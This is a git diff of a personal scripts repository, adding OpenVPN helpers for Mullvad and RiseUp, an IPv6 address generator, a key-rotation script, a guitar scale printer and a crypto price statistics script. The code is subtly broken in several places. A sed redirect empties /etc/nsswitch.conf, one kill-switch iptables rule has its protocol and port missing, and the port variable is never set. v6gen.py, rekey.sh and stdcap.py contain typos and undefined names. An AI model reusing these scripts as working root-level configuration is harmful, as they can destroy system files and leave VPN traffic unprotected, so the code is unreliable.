+		CHOICE=$(dialog --clear --backtitle "Mullvad VPN Helper" --title "Connection" --menu "Select a regional server below:" 20 60 20 "${OPTIONS[@]}" 2>&1 >/dev/tty)
+		clear
+		if [ $CHOICE -eq 1 ]; then
+			CHOICE=$(shuf -i 2-38 -n 1)
+		fi
+	elif [ $DEFAULT_SERVER == 1 ]; then
+		CHOICE=$(shuf -i 2-38 -n 1)
+	else
+		CHOICE=$DEFAULT_SERVER
+	fi
+	case $CHOICE in
+		2)  generate_config "at"     "1302";;
+		3)  generate_config "au"     "1302";;
+		4)  generate_config "be"     "1196";;
+		5)  generate_config "bg"     "1195";;
+		6)  generate_config "ca"     "1301";;
+		7)  generate_config "ca-bc"  "1196";;
+		8)  generate_config "ca-on"  "1196";;
+		9)  generate_config "cz"     "1302";;
+		10) generate_config "dk"     "1197";;
+		11) generate_config "de"     "1195";;
+		12) generate_config "de-ber" "1197";;
+		13) generate_config "de-fra" "1301";;
+		14) generate_config "fi"     "1302";;
+		15) generate_config "fr"     "1301";;
+		16) generate_config "hk"     "1195";;
+		17) generate_config "hu"     "1194";;
+		18) generate_config "il"     "1197";;
+		19) generate_config "it"     "1196";;
+		20) generate_config "jp"     "1197";;
+		21) generate_config "md"     "1301";;
+		22) generate_config "nl"     "1195";;
+		23) generate_config "no"     "1194";;
+		24) generate_config "pl"     "1301";;
+		25) generate_config "pt"     "1301";;
+		26) generate_config "ro"     "1197";;
+		27) generate_config "sg"     "1302";;
+		28) generate_config "es"     "1194";;
+		29) generate_config "se"     "1195";;
+		30) generate_config "se-hel" "1197";;
+		31) generate_config "se-mma" "1194";;
+		32) generate_config "se-sto" "1197";;
+		33) generate_config "ch"     "1195";;
+		34) generate_config "gb"     "1197";;
+		35) generate_config "gb-lon" "1194";;
+		36) generate_config "gb-mnc" "1302";;
+		37) generate_config "us"     "1196";;
+		38) generate_config "us-az"  "1194";;
+		39) generate_config "us-ca"  "1194";;
+		40) generate_config "us-fl"  "1195";;
+		41) generate_config "us-ga"  "1196";;
+		42) generate_config "us-il"  "1196";;
+		43) generate_config "us-nv"  "1302";;
+		44) generate_config "us-nj"  "1301";;
+		45) generate_config "us-ny"  "1195";;
+		46) generate_config "us-tx"  "1195";;
+		47) generate_config "us-ut"  "1196";;
+		48) generate_config "us-wa"  "1197";;
+		49) generate_config "us-dc"  "1302";;
+	esac
+}
+
+if [ $EUID -ne 0 ]; then
+	echo "[!] - This script requires sudo privledges!"
+	exit 1
+fi
+if [ ! -f /etc/openvpn/client/mullvad/auth ]; then
+	menu_auth
+fi
+if [ $DISABLE_IPV6 -eq 1 ]; then
+	disable_ipv6
+fi
+rm /etc/openvpn/client/mullvad/mullvad.conf
+menu_server
+openvpn --cd /etc/openvpn/client/mullvad --config mullvad.conf
diff --git a/networking/riseup.sh b/networking/riseup.sh
@@ -0,0 +1,217 @@
+#!/bin/bash
+
+DEFAULT_PORT=0
+DEFAULT_PROTOCOL=0
+DISABLE_IPV6=1
+ENABLE_KILLSWITCH=0
+
+function disable_ipv6 {
+	if [ ! -f /etc/sysctl.d/99-vpn-disable-ipv6.conf ]; then
+		echo "net.ipv6.conf.all.disable_ipv6=1" > /etc/sysctl.d/99-vpn-disable-ipv6.conf
+		echo "net.ipv6.conf.default.disable_ipv6=1" >> /etc/sysctl.d/99-vpn-disable-ipv6.conf
+		echo "net.ipv6.conf.lo.disable_ipv6=1" >> /etc/sysctl.d/99-vpn-disable-ipv6.conf
+		sysctl -w net.ipv6.conf.all.disable_ipv6=1
+		sysctl -w net.ipv6.conf.default.disable_ipv6=1
+		sysctl -w net.ipv6.conf.lo.disable_ipv6=1
+	fi
+}
+
+function generate_config {
+	if [ $DEFAULT_PORT == 0 ]; then
+		CHOICE=$(dialog --clear --backtitle "RiseUp VPN Helper" --title "Connection" --menu "Select a connection port:" 20 60 20 1 "1194 (Recommended)" 2 "80" 3 "443" 2>&1 >/dev/tty)
+		clear
+	else
+		CHOICE=$DEFAULT_PORT
+	fi
+	case $CHOICE in
+		1) PROTO="1194";;
+		2) PROTO="80";;
+		3) PROTO="443";;
+	esac
+	if [ $DEFAULT_PROTOCOL == 0 ]; then
+		CHOICE=$(dialog --clear --backtitle "RiseUp VPN Helper" --title "Connection" --menu "Select a connection protocol:" 20 60 20 1 "UDP (Recommended)" 2 "TCP" 2>&1 >/dev/tty)
+		clear
+	else
+		CHOICE=$DEFAULT_PROTOCOL
+	fi
+	case $CHOICE in
+		1) PROTO="udp";;
+		2) PROTO="tcp";;
+	esac
+	echo "auth SHA256
+auth-user-pass auth
+ca ca.pem
+cipher AES-256-CBC
+client
+comp-lzo
+dev tun0
+down /etc/openvpn/scripts/update-systemd-resolved
+down-pre
+group vpn
+iproute /usr/local/sbin/unpriv-ip
+mute 3
+nobind
+persist-key
+persist-tun
+proto $PROTO
+remote vpn.riseup.net $PORT
+remote-cert-tls server
+reneg-sec 0
+resolv-retry infinite
+script-security 2
+setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+tls-client
+tls-version-min 1.2
+up /etc/openvpn/scripts/update-systemd-resolved
+user vpn
+verb 4" > /etc/openvpn/client/riseup/riseup.conf
+}
+
+function killswitch {
+	if [ -f /etc/iptables/vpn-rules.v4 ]; then
+		iptables-restore < /etc/iptables/vpn-rules.v4
+	else
+		iptables -F
+		iptables -X
+		iptables -Z
+		iptables -t filter -F
+		iptables -t filter -X
+		iptables -t mangle -F
+		iptables -t mangle -X
+		iptables -t nat -F
+		iptables -t nat -X
+		iptables -t raw -F
+		iptables -t raw -X
+		iptables -t security -F
+		iptables -t security -X
+		iptables -P OUTPUT  DROP
+		iptables -P INPUT   DROP
+		iptables -P FORWARD DROP
+		iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
+		iptables -A INPUT -i lo -j ACCEPT
+		iptables -A INPUT -i tun+ -j ACCEPT
+		iptables -A OUTPUT -o lo -j ACCEPT
+		iptables -A OUTPUT -d 172.27.0.1 -j ACCEPT
+		iptables -A OUTPUT -p -m --dport -j ACCEPT
+		iptables -A OUTPUT -o tun+ -j ACCEPT
+		iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT
+		iptables -A OUTPUT -d 192.168.1.0/24 -j ACCEPT
+		iptables -A OUTPUT -j REJECT --reject-with icmp-net-unreachable
+		iptables-save > /etc/iptables/vpn-rules.v4
+	fi
+	if [ $DISABLE_IPV6 -eq 1 ]; then
+		if [ -f /etc/iptables/vpn-rules.v6 ]; then
+			ip6tables-restore < /etc/iptables/vpn-rules.v6
+		else
+			ip6tables -F
+			ip6tables -X
+			ip6tables -Z
+			ip6tables -t filter -F
+			ip6tables -t filter -X
+			ip6tables -t mangle -F
+			ip6tables -t mangle -X
+			ip6tables -t nat -F
+			ip6tables -t nat -X
+			ip6tables -t raw -F
+			ip6tables -t raw -X
+			ip6tables -t security -F
+			ip6tables -t security -X
+			ip6tables -P OUTPUT  DROP
+			ip6tables -P INPUT   DROP
+			ip6tables -P FORWARD DROP
+			ip6tables-save > /etc/iptables/vpn-rules.v6
+		fi
+	fi
+
+}
+
+function menu_auth {
+	USERNAME=$(dialog --backtitle "RiseUp VPN Helper" --title "Login" --inputbox "Username:" 8 50 2>&1 >/dev/tty)
+	PASSWORD=$(dialog --backtitle "RiseUp VPN Helper" --title "Login" --clear --passwordbox "Password" 8 50 2>&1 >/dev/tty)
+	clear
+	echo -e "$USERNAME\n$PASSWORD" > /etc/openvpn/client/riseup/auth
+	chmod 600 /etc/openvpn/client/riseup/auth
+	chown root:root /etc/openvpn/client/riseup/auth
+}
+
+function secure_dns {
+	if [ ! -f /etc/openvpn/scripts/update-systemd-resolved ]; then
+		mkdir -p /etc/openvpn/scripts
+		wget -O /etc/openvpn/scripts/update-systemd-resolved https://raw.githubusercontent.com/jonathanio/update-systemd-resolved/master/update-systemd-resolved
+		chmod 750 /etc/openvpn/scripts/update-systemd-resolved
+	fi
+	if [ -f /etc/nsswitch.conf ]; then
+		if ! grep -q "hosts: files resolve myhostname" /etc/nsswitch.conf; then
+			sed 's/hosts:.*/hosts: files resolve myhostname/' /etc/nsswitch.conf > /etc/nsswitch.conf
+		fi
+	else
+		echo "[!] - Failed to locate /etc/nsswitch.conf file!"
+		exit 1
+	fi
+	if ! $(/usr/bin/systemctl -q is-active systemd-resolved.service); then
+		systemctl start systemd-resolved
+	fi
+	if ! $(/usr/bin/systemctl -q is-enabled systemd-resolved.service); then
+		systemctl enable systemd-resolved
+	fi
+}
+
+function setup {
+	pacman -S dialog openvpn screen sudo
+	mkdir -p /var/lib/openvpn
+	if ! id vpn >/dev/null 2>&1; then
+		useradd -r -d /var/lib/openvpn -s /usr/bin/nologin vpn
+	fi
+	if [ ! $(getent group vpn) ]; then
+		groupadd vpn
+	fi
+	if ! getent group vpn | grep &>/dev/null "\bvpn\b"; then
+		gpasswd -a vpn vpn
+	fi
+	chown vpn:vpn /var/lib/openvpn
+	if [ -f /etc/sudoers ]; then
+		if ! grep -q "vpn ALL=(ALL) NOPASSWD: /sbin/ip" /etc/sudoers; then
+			echo -e "\nvpn ALL=(ALL) NOPASSWD: /sbin/ip" >> /etc/sudoers
+		fi
+		if ! grep -q "Defaults:vpn !requiretty" /etc/sudoers; then
+			echo -e "\nDefaults:vpn !requiretty" >> /etc/sudoers
+		fi
+	else
+		echo "[!] - Failed to locate /etc/sudoers file!"
+		exit 1
+	fi
+	if [ ! -f /usr/local/sbin/unpriv-ip ]; then
+		echo "#!/bin/sh" > /usr/local/sbin/unpriv-ip
+		echo "sudo /sbin/ip \$*" >> /usr/local/sbin/unpriv-ip
+		chmod 755 /usr/local/sbin/unpriv-ip
+	fi
+	if [ ! -f /etc/openvpn/openvpn-startup ]; then
+		echo "#!/bin/sh" > /etc/openvpn/openvpn-startup
+		echo "openvpn --rmtun --dev tun0" >> /etc/openvpn/openvpn-startup
+		echo "openvpn --mktun --dev tun0 --dev-type tun --user vpn --group vpn" >> /etc/openvpn/openvpn-startup
+		chmod 755 /etc/openvpn/openvpn-startup
+	fi
+	if [ -d /etc/openvpn/client/riseup ]; then
+		rm -r /etc/openvpn/client/riseup
+	fi
+	mkdir /etc/openvpn/client/riseup
+	wget -O /etc/openvpn/client/riseup/ca.pem https://riseup.net/security/network-security/riseup-ca/RiseupCA.pem
+	menu_auth
+}
+
+if [ $EUID -ne 0 ]; then
+	echo "[!] - This script requires sudo privledges!"
+	exit 1
+fi
+if [ ! -d /etc/openvpn/client/riseup ]; then
+	setup
+	generate_config
+fi
+secure_dns
+if [ $DISABLE_IPV6 -eq 1 ]; then
+	disable_ipv6
+fi
+openvpn --cd /etc/openvpn/client/riseup --config riseup.conf
+if [ $ENABLE_KILLSWITCH -eq 1 ]; then
+	killswitch
+fi
diff --git a/networking/v6gen.py b/networking/v6gen.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python
+# IPv6 Generator - Developed by acidvegas in Python (https://acid.vegas/random))
+import os,random
+interface = 'eth0'
+subnet    = '2607:5300:201:3000:'
+def randstr(size)                : return ''.join(random.sample(('1234567890ABCDEF'), size))
+def randv6(subnet)               : return f'{subnet}{randstr(4)}:{randstr(4)}:{randstr(4)}:{randstr(4)}'
+def v6(action,address,interface) : os.system(f'sudo ip addr {action} {address} dev {interafce}')
+for i in range(50):
+	v6('add',randv6(subnet),interface)
+	print(ip)
+#for ip in [line.rstrip() for line in open('ipv6.txt','r').readlines() if line]:
+#	v6('del',ip,interface
+\ No newline at end of file
diff --git a/rekey.sh b/rekey.sh
@@ -0,0 +1,40 @@
+#!/bin/sh
+recycle_gpg_key() {
+	gpg --expert --full-gen-key
+	local KEYID="CHANGEME" # todo: automatically parse this from gpg output
+	gpg --export --armor $KEYID > $KEYID.pub.asc
+	gpg --export-secret-keys --armor $KEYID > $KEYID.priv.asc
+	gpg --export-secret-subkeys --armor $KEYID > $KEYID.sub_priv.asc
+	gpg --delete-secret-key $KEYID
+	gpg --import $KEYID.sub_priv.asc
+}
+
+recycle_irc_key() {
+	local NICK="CHANGEME"
+	openssl req -x509 -new -newkey rsa:4096 -sha256 -days 3650 -nodes -out $NICK.pem -keyout $NICK.pem
+	chmod 400 $NICK.pem
+}
+
+recycle_ssh_key() {
+	if [ ! -d $HOME/.ssh ]; then
+		mkdir $HOME/.ssh
+	else
+		[ -f $HOME/.ssh/key     ] && mv $HOME/.ssh/key $HOME/.ssh/key.back
+		[ -f $HOME/.ssh/key.pub ] && rm $HOME/.ssh/key.pub
+	fi
+	read -p "Password: " $PASSWORD
+	ssh-keygen -t ed25519 -a 100 -C "" -P "$PASSWORD" -f $HOME/.ssh/key -q
+}
+
+setup_authorized_keys() {
+	if [ ! -d /etc/ssh/authorized_keys ]; then
+		mkdir /etc/ssh/authorized_keys
+	else
+		for f in /home/*/.ssh/authorized_keys; do
+			local USERNAME=$(echo $f | cut -d/ -f 3)
+			if [ ! -f /etc/ssh/authorized_keys/$USERNAME ]; then
+				cat $f > /etc/ssh/authorized_keys/$USERNAME && rm $f
+			fi
+		done
+	fi
+}
+\ No newline at end of file
diff --git a/scales.py b/scales.py
@@ -0,0 +1,88 @@
+#!/usr/bin/env python
+# guitar scales generator - developed by acidvegas in python (https://acid.vegas/random)
+
+scales = {
+	'algerian'              :  '2131131', # 1 = Half-step | 2 = Whole-step | 3 = Whole-step-Half-step
+	'aeolian'               :  '2122122',
+	'blues'                 :   '321132',
+	'chromatic'             :  '1111111',
+	'dorian'                :  '2122212',
+	'half_whole_diminished' : '12121212',
+	'harmonic_minor'        :  '2122131',
+	'ionian'                :  '2212221',
+	'locrian'               :  '1221222',
+	'lydian'                :  '2221221',
+	'major'                 :  '2212221',
+	'major_pentatonic'      :    '22323',
+	'melodic_minor'         :  '2122221',
+	'mixolydian'            :  '2212212',
+	'natural_minor'         :  '2122122',
+	'persian'               :  '1311231',
+	'phrygian'              :  '1222122',
+	'whole_half_diminished' : '21212121',
+	'whole_tone'            :  '2222222'
+}
+
+def generate_notes(key):
+	notes = ['A','A#','B','C','C#','D','D#','E','F','F#','G','G#']
+	while notes[0] != key:
+		notes.append(notes.pop(0))
+	return notes
+
+def generate_scale(string, scale_notes, full=False):
+	notes = generate_notes(string.upper())*2 if full else generate_notes(string.upper())
+	notes.append(notes[0])
+	for index,note in enumerate(notes):
+		if note in scale_notes:
+			notes[index] = notes[index].center(5, '-')
+		else:
+			notes[index] = '-'*5
+	return notes
+
+def get_pattern(pattern):
+	new_pattern = list()
+	for step in pattern:
+		if   step == '1' : new_pattern.append('H')
+		elif step == '2' : new_pattern.append('W')
+		elif step == '3' : new_pattern.append('WH')
+	return ' '.join(new_pattern)
+
+def scale(type, key):
+	last = 0
+	notes = generate_notes(key)
+	scale_notes = [notes[0],]
+	for step in scales[type]:
+		last += int(step)
+		if last >= len(notes):
+			last -= len(notes)
+		scale_notes.append(notes[last])
+	return scale_notes
+
+def print_scale(root, type, full=False):
+	if root.upper() not in ('A','A#','B','C','C#','D','D#','E','F','F#','G','G#'):
+		raise SystemExit('invalid root note')
+	elif type.lower() not in scales:
+		raise SystemExit('invalid scale type')
+	else:
+		frets = (24,147) if full else (12,75)
+		print(f'{root.upper()} {type.upper()} SCALE'.center(frets[1]))
+		print('  ┌' + '┬'.join('─'*5 for x in range(frets[0])) + '┐')
+		print('0 │' + '│'.join(str(x).center(5) for x in range(1,frets[0]+1)) + '│')
+		print('  ├' + '┼'.join('─'*5 for x in range(frets[0])) + '┤')
+		scale_notes = scale(type, root)
+		for string in ('eBGDAE'):
+			string_notes = generate_scale(string, scale_notes, full)
+			print(string + ' │' + '│'.join(note.center(5, '-') for note in string_notes[1:]) + '│')
+		print('  └' + '┴'.join('─'*5 for x in range(frets[0])) + '┘')
+		print((', '.join(scale_notes) + ' / ' + get_pattern(scales[type])).rjust(frets[1]))
+
+def print_scales():
+	max_key = max(len(x) for x in scales)
+	max_value = max(len(get_pattern(scales[x])) for x in scales)
+	print('NAME'.ljust(max_key+3) + 'PATTERN'.rjust(max_value))
+	for name, pattern in scales.items():
+		print(name.ljust(max_key) + ' │ ' + get_pattern(pattern).rjust(max_value))
+
+# Main
+print_scales()
+print_scale('F#','major')
diff --git a/stdcap.py b/stdcap.py
@@ -0,0 +1,100 @@
+#!/usr/bin/env python
+# CoinMarketCap Standard Deviation - Developed by acidvegas in Python (https://acid.vegas/random)
+
+'''
+The script will calculate the mean, median, mode, high, low & std for the entire cryptocurrency market over the last 7 days.
+
+API Documentation:
+	https://coinmarketcap.com/api/
+'''
+
+import datetime
+import http.client
+import json
+import math
+import time
+import statistics
+
+class CoinMarketCap(object):
+	def __init__(self):
+		self.cache = {'ticker':{'BTC':{'last_updated':0}}}
+
+	def _ticker(self):
+		conn = http.client.HTTPSConnection('api.coinmarketcap.com')
+		conn.request('GET', '/v1/ticker/?limit=0')
+		data = json.loads(conn.getresponse().read().replace(b': null', b': "0"'))
+		conn.close()
+		return data
+
+	def _markets():
+		conn = http.client.HTTPSConnection('s2.coinmarketcap.com')
+		conn.request('GET', '/generated/search/quick_search.json')
+		data = json.loads(conn.getresponse().read())
+		conn.close()
+		results = dict()
+		for item in data:
+			results[item['id']] = item['name']
+		return results
+
+	def _graph(self, name, start_time, end_time):
+		conn = http.client.HTTPSConnection('graphs2.coinmarketcap.com', timeout=60)
+		conn.request('GET', f'/currencies/{name}/{start_time}/{end_time}/')
+		return json.loads(conn.getresponse().read())
+
+def generate_table(data):
+	matrix = dict()
+	keys = data[0].keys()
+	for item in keys:
+		matrix[item] = list()
+	del keys
+	for item in data:
+		for subitem in item:
+			matrix[subitem].append(item[subitem])
+	for item in matrix:
+		matrix[item] = len(max(matrix[item], key=len))
+	columns = [item.ljust(matrix[item]) for item in matrix.keys()]
+	print('   '.join(columns))
+	del columns
+	for item in data:
+		row_columns = [item[subitem].ljust(matrix[subitem]) for subitem in item]
+		print(' | '.join(row_columns))
+
+def stddev(data):
+	n = len(data)
+	if n <= 1:
+		return 0.0
+	mean = avg_calc(data)
+	sd = 0.0
+	for el in data:
+		sd += (float(el)-mean)**2
+	sd = math.sqrt(sd/float(n-1))
+	return sd
+
+def avg_calc(ls):
+	n = len(ls)
+	mean = 0.0
+	if n <= 1:
+		return ls[0]
+	for el in ls:
+		mean = mean+float(el)
+	mean = mean/float(n)
+	return mean
+
+def get_data(coin, start_time, end_time):
+	try:
+		time.sleep(4)
+		data = [item[1] for item in CMC._graph(coin, start_time, end_time)['price_usd']]
+		return {'name':coin,'mean':f'{sum(data)/len(data):.2f}','median':f'{statistics.median(data):.2f}','mode':f'{max(set(data),key=data.count):.2f}','high':f'{max(data):.2f}','low':f'{min(data):.2f}','std':f'{stddev(data):.2f}'}
+	except:
+		return {'name':'none','mean':'none','median':'none','mode':'none','high':'none','low':'none','std':'0'}
+
+CMC         = CoinMarketCap()
+ticker_data = CMC._ticker()
+start_time  = int((datetime.datetime.now()-datetime.timedelta(days=7)).timestamp()*1000)
+end_time    = int(datetime.datetime.now().timestamp()*1000)
+coins       = [item['id'] for item in ticker_data] #[:10]
+data        = [get_data(coin, start_time, end_time) for coin in coins]
+data        = sorted(data, key=lambda k: float(k['std']), reverse=True)
+generate_table(data)
+size=len(CMC._graph('bitcoin', start_time, end_time)['price_usd'])
+print('Spread acrosss 7 days - ' + str(size) + ' points')
+\ No newline at end of file